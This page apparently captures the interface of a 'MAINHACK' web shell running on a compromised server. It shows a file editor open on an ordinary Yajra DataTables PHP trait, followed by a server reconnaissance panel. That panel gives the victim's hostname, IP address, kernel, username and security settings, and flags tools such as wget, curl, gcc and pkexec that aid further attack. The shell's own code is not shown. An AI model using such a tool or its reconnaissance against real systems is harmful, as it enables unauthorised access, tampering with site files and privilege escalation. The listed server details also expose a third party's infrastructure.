[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Select.php
<?php namespace Yajra\DataTables\Html\Options\Plugins; use Yajra\DataTables\Html\Builder; /** * DataTables - Select plugin option builder. * * @see https://datatables.net/extensions/select * @see https://datatables.net/reference/option/select */ trait Select { /** * Set select blurable option value. * * @return $this * * @see https://datatables.net/reference/option/select.blurable */ public function selectBlurable(bool $value = true): static { return $this->select(['blurable' => $value]); } /** * Set select className option value. * * @return $this * * @see https://datatables.net/reference/option/select.className */ public function selectClassName(string $value = 'selected'): static { return $this->select(['className' => $value]); } /** * Append a class name to className option value. * * @return $this */ public function selectAddClassName(string $class): static { if (! isset($this->attributes['select']['className'])) { $this->attributes['select']['className'] = $class; } else { $this->attributes['select']['className'] .= " $class"; } return $this; } /** * Set select info option value. * * @return $this * * @see https://datatables.net/reference/option/select.info */ public function selectInfo(bool $value = true): static { return $this->select(['info' => $value]); } /** * Set select items option value. * * @return $this * * @see https://datatables.net/reference/option/select.items */ public function selectItems(string $value = 'row'): static { return $this->select(['items' => $value]); } /** * Set select items option value to row. * * @return $this * * @see https://datatables.net/reference/option/select.items */ public function selectItemsRow(): static { return $this->select(['items' => Builder::SELECT_ITEMS_ROW]); } /** * Set select items option value to column. * * @return $this * * @see https://datatables.net/reference/option/select.items */ public function selectItemsColumn(): static { return $this->select(['items' => Builder::SELECT_ITEMS_COLUMN]); } /** * Set select items option value to cell. * * @return $this * * @see https://datatables.net/reference/option/select.items */ public function selectItemsCell(): static { return $this->select(['items' => Builder::SELECT_ITEMS_CELL]); } /** * Set select selector option value. * * @return $this * * @see https://datatables.net/reference/option/select.selector */ public function selectSelector(string $value = 'td'): static { return $this->select(['selector' => $value]); } /** * Set select style option value. * * @return $this * * @see https://datatables.net/reference/option/select.style */ public function selectStyle(string $value = 'os'): static { return $this->select(['style' => $value]); } /** * Set select style option value to api. * * @return $this * * @see https://datatables.net/reference/option/select.style */ public function selectStyleApi(): static { return $this->select(['style' => Builder::SELECT_STYLE_API]); } /** * Set select style option value to single. * * @return $this * * @see https://datatables.net/reference/option/select.style */ public function selectStyleSingle(): static { return $this->select(['style' => Builder::SELECT_STYLE_SINGLE]); } /** * Set select option value. * * @return $this * * @see https://datatables.net/reference/option/select */ public function select(bool|array $value = true): static { return $this->setPluginAttribute('select', $value); } /** * Set select style option value to multi. * * @return $this * * @see https://datatables.net/reference/option/select.style */ public function selectStyleMulti(): static { return $this->select(['style' => Builder::SELECT_STYLE_MULTI]); } /** * Set select style option value to os. * * @return $this * * @see https://datatables.net/reference/option/select.style */ public function selectStyleOS(): static { return $this->select(['style' => Builder::SELECT_STYLE_OS]); } /** * Set select style option value to multi+shift. * * @return $this * * @see https://datatables.net/reference/option/select.style */ public function selectStyleMultiShift(): static { return $this->select(['style' => Builder::SELECT_STYLE_MULTI_SHIFT]); } public function getSelect(?string $key = null): mixed { if (is_null($key)) { return $this->attributes['select'] ?? true; } return $this->attributes['select'][$key] ?? false; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002